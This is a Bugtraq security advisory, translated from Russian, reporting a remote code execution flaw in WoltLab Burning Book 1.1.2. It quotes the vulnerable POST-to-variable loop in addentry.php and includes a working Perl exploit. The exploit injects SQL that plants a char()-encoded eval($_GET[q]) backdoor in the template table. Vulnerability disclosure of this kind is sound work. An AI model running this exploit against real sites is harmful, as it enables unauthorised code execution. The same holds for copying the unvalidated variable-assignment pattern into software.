Hello bugtraq, ShAnKaR (sec at shankar.antichat.ru ) reports multiple vulnerabilities in WoltLab Burning Book. Original message in Russian is available from http://www.security.nnov.ru/Odocument711.html Short translation: Author: ShAnKaR (sec at shankar.antichat.ru) Vendor: woltlab.de Tested version: WoltLab Burning Book 1.1.2 Level: Critical Class: Remote code execution addentry.php file contains this code: while(list($key,$val)=each($_POST)) { $$key=$val; } There is no validation for variable names sent with POST request, so, it's possible to overwrite system variables. E.g. here: $db->query("INSERT INTO bgb".$n."_posts (iconid,authorname,posttime,message,nosmilies,emai l,homepage,icq,aim,yim,msn,ipaddress,useragent,vis ible) VALUES ('".intval($iconid)."','".addslashes($name)."',".time().",'".addslashes($message)."','".intval($nosmilies)."','".addslashes($email)."','".addslashes($homepage)."','".intval($icq)."','".addslashes($aim)."','".addslashes($yim)."','".addslashes($msn)."','". $REMOTE_ADDR."','".$HTTP_USER_AGENT."','".(($moderateposts) ? ("0") : ("1"))."')"); it's possible to add any data to database, and later this data can be executed as a PHP code: eval("\$template->output(\"".$template->get("index")."\");"); Exploit code (burning_book.pl): #!/usr/bin/perl # woltlab.de burning book <=1.1.2 SQL and PHP injection PoC # use /index.php?q=phpinfo();exit; # ShAnKaR sec[A]shankar.antichat.ru # http://antichat.ru/ use LWP; die("use ./burn-book.pl http://localhost/wbbook/ [1(number book db, default `1`)]\n") if !$ARGV[0];$ARGV[1]='' if !$ARGV[1]; my $ua=LWP::UserAgent->new(); $ua->post($ARGV[0].'/addentry.php',[reg_image=>0,send=>'send',name=>1,message=>1, n=>$ARGV[1].'_templates (`templateid`,`templatename`,`template`) VALUES (char(55,55,55),char(105,110,100,101,120,95,102,105,101,108,100,115),char(92,34,59,64,101,118,97,108,40,36,95,71,69,84,91,113,93,41,59,36,102,105,101,108,100,115,61,92,34,60,98,114,32,47,62,60,117,62,36,102,105,101,108,100,116,105,116,108,101,60,47,117,62,58,32,36,102,105,101,108,100))/*',]); -- /3APA3A http://security.nnov.ru/